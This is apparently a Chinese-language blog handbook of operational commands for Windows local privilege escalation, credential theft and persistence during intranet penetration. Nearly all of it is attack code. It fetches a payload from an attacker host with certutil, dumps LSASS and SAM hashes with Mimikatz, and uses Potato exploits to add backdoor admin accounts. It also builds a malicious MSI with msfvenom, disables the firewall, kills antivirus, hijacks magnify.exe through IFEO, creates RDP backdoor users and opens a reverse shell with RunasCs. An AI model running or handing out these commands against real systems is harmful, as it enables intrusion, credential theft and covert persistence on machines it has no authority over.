文章

Windows内网渗透本地提权全流程手册

本文为独立 Windows 内网本地提权专项手册,整合信息收集、凭证抓取、特权提权、配置错误漏洞、计划任务、防火墙&RDP持久化、镜像/DLL劫持、票据伪造横向移动全套实操命令,附带工具开源地址、报错说明与利用场景,适用于内网渗透提权、横向移动、权限维持。

Windows内网渗透本地提权全流程手册

Windows内网渗透本地提权全流程手册

本文为独立 Windows 内网本地提权专项手册,整合信息收集、凭证抓取、特权提权、配置错误漏洞、计划任务、防火墙\&RDP持久化、镜像/DLL劫持、票据伪造横向移动全套实操命令,附带工具开源地址、报错说明与利用场景,适用于内网渗透提权、横向移动、权限维持。

一、Windows 自动化信息收集(提权前置必备)

本地提权第一步:优先使用自动化工具批量扫描系统缺陷、权限漏洞、配置错误,再针对性手动复核。

核心工具与项目地址

工具执行命令

1
2
3
4
5
6
# 1. winPEAS 全自动一键扫描(全覆盖提权面)
.\winPEASx64.exe

# 2. PowerUp 批量检测所有可提权配置漏洞
.\PowerUp.ps1
Invoke-AllChecks

二、手动精准信息收集(提权依据排查)

1. 系统特权查询(Potato提权核心依据)

1
2
3
# 查看当前用户所有系统特权,重点关注:
# SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilege
whoami /priv

2. 系统补丁枚举(查找未修复高危提权漏洞)

1
2
# 查看系统版本、已安装补丁,用于匹配CVE提权EXP
systeminfo

3. 杀软/防火墙进程探测

1
2
# 查看所有进程+对应服务,定位杀毒、EDR、防火墙进程
tasklist /SVC

4. 域环境探测(区分工作组/域主机)

1
2
# 读取系统注册表,判断主机是否加入域环境
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

5. 在线用户探测(优先劫持域管理员会话)

1
2
3
# 查看当前登录在线用户,寻找高权限域用户
query user
qwinsta

6. 靶机文件上传(渗透必备)

1
2
3
4
5
# 攻击机开启临时文件服务
python3 -m http.server 8000

# Windows无依赖上传工具(certutil系统自带,免杀性强)
certutil -urlcache -split -f http://攻击机IP:8000/shell.exe c:\shell.exe

三、系统明文凭证抓取(高频突破口)

1. PowerShell 历史命令(高概率泄露账号密码)

1
2
3
4
5
6
7
8
9
10
# 查看当前用户PS历史记录路径
gc (Get-PSReadLineOption).HistorySavePath

# 读取指定用户历史命令
type c:\users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# 批量遍历本机所有用户PowerShell历史记录
foreach($user in ((ls C:\users).fullname)){    
cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
}

2. 注册表自动登录明文密码

1
2
# 查询系统开机自动登录账号密码
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

3. 系统缓存凭据(RDP/共享/远程连接)

1
2
3
4
5
# 查看系统保存的所有账号凭据
cmdkey /list

# 打开可视化凭据管理器
control keymgr.dll

4. Web站点数据库配置文件

1
2
# IIS默认站点配置文件,大概率存在数据库账号密码
type C:\inetpub\wwwroot\web.config

5. 局域网共享文件枚举

1
2
3
4
5
# 查看已挂载的网络共享
net use

# 读取远程终端共享磁盘文件
dir \\TSCLIENT\C

6. 全局文件关键词检索

1
2
# 全盘检索指定后缀/名称文件(可替换为xml/conf/passwd等)
Get-ChildItem -Path C:\,D:\,E:\,F:\ -Recurse -Filter "index.html" -File -ErrorAction SilentlyContinue | Select-Object FullName

7. 无人值守安装文件泄露(管理员密码高危)

1
2
# 全盘搜索系统部署配置文件,常包含明文管理员密码
dir /s /b unattend.xml sysprep.xml

8. Mimikatz 内存/SAM凭证抓取

适用场景:已获取本地权限,抓取内存登录凭据、HASH值用于横向移动

1
2
3
4
5
# 1. 抓取内存登录密码、HASH、会话凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

# 2. 读取本地SAM数据库,dump所有用户HASH
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

四、Windows 特权令牌滥用提权

核心利用:普通用户拥有特定系统特权,可伪造系统令牌提升至 SYSTEM 权限,主流为 Potato 系列提权。

可用高危特权

  • SeImpersonatePrivilege:模拟客户端令牌(Potato核心依赖)

  • SeAssignPrimaryTokenPrivilege:分配系统主令牌

  • SeBackupPrivilege/SeRestorePrivilege/SeTakeOwnershipPrivilege:任意文件读写、权限接管

  • SeDebugPrivilege:调试进程、转储LSASS内存

Potato 系列提权实操(全覆盖系统)

1
2
3
4
5
6
7
8
9
10
11
# ========== GodPotato(推荐:Win8-Win11/Server2012-2022 全适配) ==========
# 执行系统命令验证权限
.\GodPotato.exe -cmd "cmd /c whoami"
# 新增管理员后门账号
.\GodPotato.exe -cmd "cmd /c net user admin P@ssw0rd /add && net localgroup administrators admin /add"

# ========== PrintSpoofer(Win10/Server2019 速度最快) ==========
.\PrintSpoofer.exe -i -c cmd

# ========== JuicyPotato(老旧系统:Win7/Server2008-2016) ==========
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}

五、系统配置错误提权

1. 未引号服务路径漏洞提权

原理:服务路径含空格且未加引号,Windows优先执行空格前可执行文件,可放置恶意程序劫持服务启动。

1
2
# 批量检测存在漏洞的自动启动服务
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"

2. 弱服务权限提权

原理:普通用户拥有服务修改权限,可篡改服务启动路径,重启服务实现权限提升。

1
2
3
4
5
6
7
8
# 检测普通用户可修改的服务
.\accesschk.exe -uwcqv "Authenticated Users" * 2>nul
.\accesschk.exe -uwcqv %username% * 2>nul

# 漏洞利用:修改服务启动命令,新增管理员账号
sc config "VulnService" binpath= "cmd /c net user admin P@ssw0rd /add"
sc stop "VulnService"
sc start "VulnService"

3. AlwaysInstallElevated 安装权限提权

原理:注册表开启全局MSI高权限安装,普通用户可安装高权限程序,实现提权。需两项注册表值均为1才可利用

1
2
3
4
5
6
7
# 检测漏洞是否存在
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# MSF生成恶意MSI安装包并执行提权
msfvenom -p windows/exec CMD='net user backdoor P@ssw0rd /add&&net localgroup administrators backdoor /add' -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

六、计划任务漏洞利用

原理:系统自建计划任务以SYSTEM权限运行,若任务执行脚本/程序可写,可覆盖文件劫持执行。

1
2
3
4
5
6
7
8
9
10
11
# CMD:查询非系统自带计划任务
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|task to run"

# PowerShell:查询SYSTEM权限运行的计划任务
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName,TaskPath

# 检测任务执行文件是否可写
Get-ScheduledTask | ForEach-Object {    
$path = $_.Actions.Execute    
if ($path) { Get-Acl $path -ErrorAction SilentlyContinue | Select-Object Path,AccessToString }
}

七、防火墙关闭 \& RDP持久化(内网常驻)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 关闭系统所有防火墙配置(域/专用/公用)
NetSh Advfirewall set allprofiles state off

# 2. 强制结束杀毒软件进程
taskkill /F /PID 杀软PID

# 3. MSF一键开启RDP服务
use post/windows/manage/enable_rdp

# 4. 注册表开启远程桌面连接
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# 5. 设置RDP服务自启
sc config TermService start= auto

# 6. 创建RDP后门账号并授权远程登录
net user rdpuser P@ssw0rd123 /add
net localgroup administrators rdpuser /add
net localgroup "Remote Desktop Users" rdpuser /add

八、镜像劫持与DLL劫持提权

1. IFEO 镜像劫持提权

原理:利用映像执行选项权限漏洞,劫持系统工具启动,替换为SYSTEM权限CMD

1
2
3
4
5
# 查看镜像劫持注册表权限
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

# 劫持放大镜工具,触发即弹出SYSTEM CMD
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

2. DLL劫持检测与利用

利用工具:Process Monitor、PowerSploit 劫持检测脚本

1
2
3
# PowerShell 检测可劫持路径与进程
Find-PathDLLHijack
Find-ProcessDLLHijack

C语言DLL编译模板(用于生成恶意劫持DLL):gcc -shared adduser.c -o adduser.dll -luser32 -lkernel32

九、SMB票据伪造与降权横向移动

适用场景:当前权限无法使用smbclient连接目标内网机器,通过RunasCs伪造身份横向移动

1
2
# 指定账号身份,反弹CMD到攻击机监听端口
.\RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.1.105:1234

手册总结

1. Windows内网提权优先排查系统特权、服务配置错误、计划任务、注册表漏洞四大高频面;

2. 凭证抓取为内网横向移动核心,优先读取PS历史、注册表、SAM内存凭据;

3. Potato系列提权适配绝大多数Windows服务器,是低权限用户提权SYSTEM最优解;

4. RDP开启、账号新增、镜像劫持可用于长期权限维持,适配内网落地渗透。

(注:部分内容可能由 AI 生成)

本文由作者按照 CC BY 4.0 进行授权